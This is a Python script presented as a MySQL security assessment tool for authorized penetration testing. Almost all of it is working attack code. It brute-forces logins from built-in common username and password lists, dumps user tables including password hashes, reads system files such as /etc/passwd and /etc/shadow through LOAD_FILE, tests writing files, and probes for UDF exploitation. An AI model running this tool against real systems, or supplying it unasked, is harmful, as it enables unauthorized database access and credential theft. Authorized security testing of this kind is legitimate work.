mysql_tester.py

#!/usr/bin/env python3
"""
MySQL Security Assessment Tool
Author: RFS - Penetration Testing Specialist

WARNING: This tool is for authorized penetration testing only.
Only use on systems you own or have explicit permission to test.

Requirements:
pip install pymysql colorama tabulate

Usage:
python3 mysql_tester.py -t 10.10.178.157
python3 mysql_tester.py -t 10.10.178.157 -p 3306 -v
python3 mysql_tester.py -t 10.10.178.157 -u root -P passwords.txt
"""

import sys
import argparse
import pymysql
import socket
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Back, Style
from tabulate import tabulate
import warnings

# Suppress MySQL warnings
warnings.filterwarnings("ignore", category=pymysql.Warning)

# Initialize colorama
init(autoreset=True)

class MySQLTester:
    def __init__(self, target, port=3306, timeout=10, verbose=False):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.successful_creds = []
        self.version_info = {}
        self.databases = []
        self.users = []
        self.privileges = []
        
        # Common MySQL/MariaDB users
        self.common_users = [
            '', 'root', 'admin', 'mysql', 'test', 'user', 'guest', 'demo',
            'operator', 'manager', 'service', 'web', 'www', 'db', 'database',
            'mariadb', 'phpmyadmin', 'wordpress', 'drupal', 'joomla'
        ]
        
        # Common passwords
        self.common_passwords = [
            '', 'root', 'admin', 'mysql', 'test', 'password', '123456', 
            'toor', 'pass', 'admin123', 'root123', 'mysql123', 'password123',
            'qwerty', '12345', 'letmein', 'welcome', 'changeme', 'default',
            'guest', 'demo', '1234', 'abc123', 'P@ssw0rd', 'Password1'
        ]
        
    def print_banner(self):
        """Print tool banner"""
        banner = f"""
{Fore.CYAN}╔══════════════════════════════════════════════════════════════╗
║                    MySQL Security Tester                     ║
║                   by RFS - Security Research                 ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}

{Fore.YELLOW}Target: {self.target}:{self.port}
Timeout: {self.timeout}s
Verbose: {self.verbose}{Style.RESET_ALL}
"""
        print(banner)
        
    def log_info(self, message):
        """Log info message"""
        print(f"{Fore.BLUE}[INFO]{Style.RESET_ALL} {message}")
        
    def log_success(self, message):
        """Log success message"""
        print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {message}")
        
    def log_warning(self, message):
        """Log warning message"""
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {message}")
        
    def log_error(self, message):
        """Log error message"""
        print(f"{Fore.RED}[-]{Style.RESET_ALL} {message}")
        
    def log_verbose(self, message):
        """Log verbose message"""
        if self.verbose:
            print(f"{Fore.MAGENTA}[DEBUG]{Style.RESET_ALL} {message}")
            
    def test_connection(self):
        """Test basic TCP connection to MySQL port"""
        self.log_info(f"Testing connection to {self.target}:{self.port}")
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            result = sock.connect_ex((self.target, self.port))
            
            if result == 0:
                self.log_success(f"Port {self.port} is open")
                
                # Try to read MySQL handshake
                try:
                    data = sock.recv(1024)
                    if data:
                        self.log_success("MySQL handshake received")
                        self.parse_handshake(data)
                        return True
                except:
                    pass
                    
            else:
                self.log_error(f"Cannot connect to {self.target}:{self.port}")
                return False
                
        except Exception as e:
            self.log_error(f"Connection test failed: {e}")
            return False
        finally:
            sock.close()
            
    def parse_handshake(self, data):
        """Parse MySQL initial handshake packet"""
        try:
            if len(data) < 10:
                return
                
            # Skip packet length and number
            packet_data = data[4:]
            
            # Protocol version
            protocol_version = packet_data[0]
            self.log_verbose(f"Protocol version: {protocol_version}")
            
            # Server version string (null-terminated)
            version_end = packet_data.find(b'\x00', 1)
            if version_end > 0:
                version = packet_data[1:version_end].decode('utf-8', errors='ignore')
                self.version_info['version'] = version
                self.log_success(f"Server version: {version}")
                
                # Detect MariaDB vs MySQL
                if 'MariaDB' in version:
                    self.version_info['type'] = 'MariaDB'
                else:
                    self.version_info['type'] = 'MySQL'
                    
        except Exception as e:
            self.log_verbose(f"Handshake parsing error: {e}")
            
    def test_authentication(self, username, password, ssl_disabled=True):
        """Test single username/password combination"""
        try:
            # Connection parameters
            conn_params = {
                'host': self.target,
                'port': self.port,
                'user': username,
                'password': password,
                'connect_timeout': self.timeout,
                'read_timeout': self.timeout,
                'write_timeout': self.timeout,
                'charset': 'utf8mb4'
            }
            
            # Disable SSL if needed
            if ssl_disabled:
                conn_params['ssl_disabled'] = True
                
            connection = pymysql.connect(**conn_params)
            
            self.log_success(f"Authentication successful: {username}:{password if password else '(empty)'}")
            
            # Store successful credentials
            cred_info = {
                'username': username,
                'password': password,
                'connection': connection
            }
            self.successful_creds.append(cred_info)
            
            return connection
            
        except pymysql.Error as e:
            error_code = e.args[0]
            
            # Handle specific error codes
            if error_code == 1045:  # Access denied
                self.log_verbose(f"Access denied: {username}:{password if password else '(empty)'}")
            elif error_code == 2026:  # SSL error
                if ssl_disabled:
                    self.log_warning(f"SSL error even with SSL disabled: {username}")
                else:
                    # Retry with SSL disabled
                    self.log_verbose(f"SSL error, retrying with SSL disabled: {username}")
                    return self.test_authentication(username, password, ssl_disabled=True)
            elif error_code == 1130:  # Host not allowed
                self.log_warning(f"Host not allowed to connect: {username}")
            elif error_code == 1040:  # Too many connections
                self.log_warning("Too many connections to server")
                time.sleep(1)  # Wait before retry
            else:
                self.log_verbose(f"Authentication error {error_code}: {username}:{password if password else '(empty)'}")
                
        except Exception as e:
            self.log_verbose(f"Connection error: {username}:{password if password else '(empty)'} - {e}")
            
        return None
        
    def brute_force_auth(self, usernames=None, passwords=None, max_threads=10):
        """Brute force authentication with threading"""
        self.log_info("Starting authentication brute force")
        
        if usernames is None:
            usernames = self.common_users
        if passwords is None:
            passwords = self.common_passwords
            
        total_attempts = len(usernames) * len(passwords)
        self.log_info(f"Testing {total_attempts} combinations ({len(usernames)} users × {len(passwords)} passwords)")
        
        attempts = 0
        successful = 0
        
        # Create credential combinations
        credentials = [(u, p) for u in usernames for p in passwords]
        
        with ThreadPoolExecutor(max_workers=max_threads) as executor:
            future_to_cred = {
                executor.submit(self.test_authentication, username, password): (username, password)
                for username, password in credentials
            }
            
            for future in as_completed(future_to_cred):
                attempts += 1
                username, password = future_to_cred[future]
                
                try:
                    result = future.result()
                    if result:
                        successful += 1
                        # Close connection after storing credentials
                        result.close()
                except Exception as e:
                    self.log_verbose(f"Thread error for {username}:{password} - {e}")
                    
                # Progress indicator
                if attempts % 10 == 0 or successful > 0:
                    progress = (attempts / total_attempts) * 100
                    print(f"\r{Fore.CYAN}Progress: {attempts}/{total_attempts} ({progress:.1f}%) | Found: {successful}{Style.RESET_ALL}", end='', flush=True)
                    
        print()  # New line after progress
        self.log_info(f"Brute force complete: {successful} successful logins found")
        
    def enumerate_databases(self, connection):
        """Enumerate databases"""
        try:
            cursor = connection.cursor()
            cursor.execute("SHOW DATABASES")
            databases = [row[0] for row in cursor.fetchall()]
            
            self.databases = databases
            self.log_success(f"Found {len(databases)} databases")
            
            for db in databases:
                self.log_info(f"  - {db}")
                
            cursor.close()
            return databases
            
        except Exception as e:
            self.log_error(f"Database enumeration failed: {e}")
            return []
            
    def enumerate_users(self, connection):
        """Enumerate MySQL users"""
        try:
            cursor = connection.cursor()
            
            # Get users from mysql.user table
            queries = [
                "SELECT user, host FROM mysql.user",
                "SELECT user, host, authentication_string FROM mysql.user",
                "SELECT user, host, password FROM mysql.user"  # Older MySQL versions
            ]
            
            for query in queries:
                try:
                    cursor.execute(query)
                    users = cursor.fetchall()
                    
                    self.users = users
                    self.log_success(f"Found {len(users)} MySQL users")
                    
                    # Display users in table format
                    headers = [desc[0] for desc in cursor.description]
                    print(tabulate(users, headers=headers, tablefmt="grid"))
                    
                    break  # If successful, don't try other queries
                    
                except pymysql.Error as e:
                    if "Unknown column 'authentication_string'" in str(e):
                        continue  # Try next query
                    else:
                        raise e
                        
            cursor.close()
            return users
            
        except Exception as e:
            self.log_error(f"User enumeration failed: {e}")
            return []
            
    def check_privileges(self, connection):
        """Check current user privileges"""
        try:
            cursor = connection.cursor()
            
            # Current user info
            cursor.execute("SELECT USER(), CURRENT_USER(), DATABASE()")
            current_info = cursor.fetchone()
            self.log_success(f"Current user: {current_info[0]} | Effective user: {current_info[1]} | Database: {current_info[2]}")
            
            # Check specific privileges
            privilege_checks = [
                ("File operations", "SELECT file_priv FROM mysql.user WHERE user = SUBSTRING_INDEX(USER(), '@', 1)"),
                ("Process list", "SHOW PROCESSLIST"),
                ("Load data local", "SHOW VARIABLES LIKE 'local_infile'"),
                ("Secure file priv", "SHOW VARIABLES LIKE 'secure_file_priv'"),
                ("Plugin directory", "SHOW VARIABLES LIKE 'plugin_dir'"),
                ("General log", "SHOW VARIABLES LIKE 'general_log%'"),
                ("Version info", "SELECT @@version, @@version_comment")
            ]
            
            self.log_info("Checking privileges and configuration:")
            
            for check_name, query in privilege_checks:
                try:
                    cursor.execute(query)
                    result = cursor.fetchall()
                    
                    if result:
                        self.log_success(f"{check_name}: Accessible")
                        if self.verbose and len(result) < 10:  # Don't spam for large results
                            for row in result:
                                self.log_verbose(f"  {row}")
                    else:
                        self.log_warning(f"{check_name}: No results")
                        
                except pymysql.Error as e:
                    self.log_error(f"{check_name}: Access denied ({e.args[0]})")
                    
            cursor.close()
            
        except Exception as e:
            self.log_error(f"Privilege check failed: {e}")
            
    def test_file_operations(self, connection):
        """Test file read/write capabilities"""
        try:
            cursor = connection.cursor()
            
            # Test file reading
            file_tests = [
                "/etc/passwd",
                "/etc/shadow", 
                "/etc/hosts",
                "/proc/version",
                "C:\\Windows\\System32\\drivers\\etc\\hosts",
                "C:\\boot.ini"
            ]
            
            self.log_info("Testing file read capabilities:")
            
            for file_path in file_tests:
                try:
                    cursor.execute(f"SELECT LOAD_FILE('{file_path}')")
                    result = cursor.fetchone()
                    
                    if result and result[0]:
                        self.log_success(f"Can read {file_path}")
                        if self.verbose:
                            content = result[0][:200] if len(result[0]) > 200 else result[0]
                            self.log_verbose(f"Content preview: {content}")
                    else:
                        self.log_verbose(f"Cannot read {file_path}")
                        
                except pymysql.Error as e:
                    self.log_verbose(f"File read error for {file_path}: {e.args[0]}")
                    
            # Test file writing (be careful with this)
            self.log_info("Testing file write capabilities:")
            test_content = "SELECT 'MySQL Security Test' AS test_output"
            
            try:
                cursor.execute(f"{test_content} INTO OUTFILE '/tmp/mysql_test.txt'")
                self.log_warning("File write successful - potential security risk!")
            except pymysql.Error as e:
                if e.args[0] == 1290:  # secure_file_priv restriction
                    self.log_info("File writing restricted by secure_file_priv")
                else:
                    self.log_verbose(f"File write failed: {e.args[0]}")
                    
            cursor.close()
            
        except Exception as e:
            self.log_error(f"File operations test failed: {e}")
            
    def check_udf_potential(self, connection):
        """Check for UDF (User Defined Functions) exploitation potential"""
        try:
            cursor = connection.cursor()
            
            # Check plugin directory permissions
            cursor.execute("SHOW VARIABLES LIKE 'plugin_dir'")
            plugin_dir = cursor.fetchone()
            
            if plugin_dir:
                self.log_info(f"Plugin directory: {plugin_dir[1]}")
                
                # Check if we can create functions
                try:
                    cursor.execute("SELECT * FROM mysql.func LIMIT 1")
                    self.log_warning("Can access mysql.func table - UDF exploitation possible")
                except pymysql.Error:
                    self.log_info("Cannot access mysql.func table")
                    
            # Check existing UDFs
            try:
                cursor.execute("SELECT name, dl FROM mysql.func")
                existing_udfs = cursor.fetchall()
                
                if existing_udfs:
                    self.log_warning(f"Found {len(existing_udfs)} existing UDFs:")
                    for udf in existing_udfs:
                        self.log_info(f"  - {udf[0]} ({udf[1]})")
                        
            except pymysql.Error:
                self.log_verbose("Cannot enumerate existing UDFs")
                
            cursor.close()
            
        except Exception as e:
            self.log_error(f"UDF check failed: {e}")
            
    def generate_report(self):
        """Generate comprehensive security assessment report"""
        print(f"\n{Fore.CYAN}{'='*60}")
        print(f"           MYSQL SECURITY ASSESSMENT REPORT")
        print(f"{'='*60}{Style.RESET_ALL}")
        
        # Target information
        print(f"\n{Fore.YELLOW}TARGET INFORMATION:{Style.RESET_ALL}")
        print(f"Host: {self.target}:{self.port}")
        if self.version_info:
            print(f"Server: {self.version_info.get('type', 'Unknown')} {self.version_info.get('version', 'Unknown')}")
            
        # Authentication results
        print(f"\n{Fore.YELLOW}AUTHENTICATION RESULTS:{Style.RESET_ALL}")
        if self.successful_creds:
            print(f"✓ Found {len(self.successful_creds)} valid credential(s):")
            for cred in self.successful_creds:
                user = cred['username'] if cred['username'] else '(empty)'
                pwd = cred['password'] if cred['password'] else '(empty)'
                print(f"  - {user}:{pwd}")
        else:
            print("✗ No valid credentials found")
            
        # Database information
        if self.databases:
            print(f"\n{Fore.YELLOW}DATABASES FOUND:{Style.RESET_ALL}")
            for db in self.databases:
                print(f"  - {db}")
                
        # Security recommendations
        print(f"\n{Fore.YELLOW}SECURITY RECOMMENDATIONS:{Style.RESET_ALL}")
        recommendations = []
        
        if any(cred['username'] in ['', 'root'] and not cred['password'] for cred in self.successful_creds):
            recommendations.append("• Remove anonymous access and set strong root password")
            
        if len(self.successful_creds) > 0:
            recommendations.append("• Implement strong password policies")
            recommendations.append("• Use principle of least privilege for database users")
            recommendations.append("• Enable SSL/TLS for encrypted connections")
            recommendations.append("• Configure secure_file_priv to restrict file operations")
            recommendations.append("• Disable unnecessary features like LOAD DATA LOCAL INFILE")
            
        for rec in recommendations:
            print(rec)
            
        if not recommendations:
            print("• No immediate security issues identified")
            
    def run_full_assessment(self, usernames=None, passwords=None):
        """Run complete MySQL security assessment"""
        self.print_banner()
        
        # Step 1: Test connectivity
        if not self.test_connection():
            self.log_error("Cannot establish connection. Exiting.")
            return False
            
        # Step 2: Authentication testing
        self.brute_force_auth(usernames, passwords)
        
        if not self.successful_creds:
            self.log_error("No valid credentials found. Assessment limited.")
            self.generate_report()
            return False
            
        # Step 3: Detailed enumeration with first successful credential
        self.log_info("Starting detailed enumeration...")
        
        # Use first successful credential for enumeration
        test_connection = None
        for cred in self.successful_creds:
            try:
                test_connection = self.test_authentication(cred['username'], cred['password'])
                if test_connection:
                    break
            except:
                continue
                
        if not test_connection:
            self.log_error("Cannot establish connection for enumeration")
            self.generate_report()
            return False
            
        try:
            # Enumerate databases
            self.enumerate_databases(test_connection)
            
            # Enumerate users  
            self.enumerate_users(test_connection)
            
            # Check privileges
            self.check_privileges(test_connection)
            
            # Test file operations
            self.test_file_operations(test_connection)
            
            # Check UDF potential
            self.check_udf_potential(test_connection)
            
        finally:
            test_connection.close()
            
        # Step 4: Generate report
        self.generate_report()
        
        return True

def load_wordlist(filename):
    """Load wordlist from file"""
    try:
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            return [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"Error: File {filename} not found")
        return []
    except Exception as e:
        print(f"Error reading {filename}: {e}")
        return []

def main():
    parser = argparse.ArgumentParser(
        description="MySQL Security Assessment Tool",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -t 10.10.178.157
  %(prog)s -t 10.10.178.157 -p 3306 -v
  %(prog)s -t 10.10.178.157 -u root -P passwords.txt
  %(prog)s -t 10.10.178.157 -U users.txt -P passwords.txt -T 5
        """
    )
    
    parser.add_argument('-t', '--target', required=True, 
                       help='Target MySQL server IP/hostname')
    parser.add_argument('-p', '--port', type=int, default=3306,
                       help='MySQL port (default: 3306)')
    parser.add_argument('-u', '--username', 
                       help='Single username to test')
    parser.add_argument('-U', '--userlist', 
                       help='Username wordlist file')
    parser.add_argument('-P', '--passlist', 
                       help='Password wordlist file')
    parser.add_argument('-T', '--threads', type=int, default=10,
                       help='Number of threads (default: 10)')
    parser.add_argument('--timeout', type=int, default=10,
                       help='Connection timeout in seconds (default: 10)')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Verbose output')
    parser.add_argument('--quick', action='store_true',
                       help='Quick scan (connection test only)')
    
    args = parser.parse_args()
    
    # Validate arguments
    try:
        socket.inet_aton(args.target)
    except socket.error:
        # Try to resolve hostname
        try:
            args.target = socket.gethostbyname(args.target)
        except socket.gaierror:
            print(f"Error: Cannot resolve hostname {args.target}")
            return 1
            
    # Prepare usernames and passwords
    usernames = None
    passwords = None
    
    if args.username:
        usernames = [args.username]
    elif args.userlist:
        usernames = load_wordlist(args.userlist)
        if not usernames:
            return 1
            
    if args.passlist:
        passwords = load_wordlist(args.passlist)
        if not passwords:
            return 1
            
    # Create and run tester
    tester = MySQLTester(args.target, args.port, args.timeout, args.verbose)
    
    try:
        if args.quick:
            tester.print_banner()
            tester.test_connection()
        else:
            success = tester.run_full_assessment(usernames, passwords)
            return 0 if success else 1
            
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}Assessment interrupted by user{Style.RESET_ALL}")
        return 1
    except Exception as e:
        print(f"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}")
        return 1
        
    return 0

if __name__ == "__main__":
    # Warning message
    print(f"{Fore.RED}{Style.BRIGHT}")
    print("WARNING: This tool is for authorized penetration testing only!")
    print("Only use on systems you own or have explicit permission to test.")
    print(f"{Style.RESET_ALL}")
    
    try:
        import pymysql
        import colorama
        from tabulate import tabulate
    except ImportError as e:
        print(f"Missing required module: {e}")
        print("Install with: pip install pymysql colorama tabulate")
        sys.exit(1)
        
    sys.exit(main())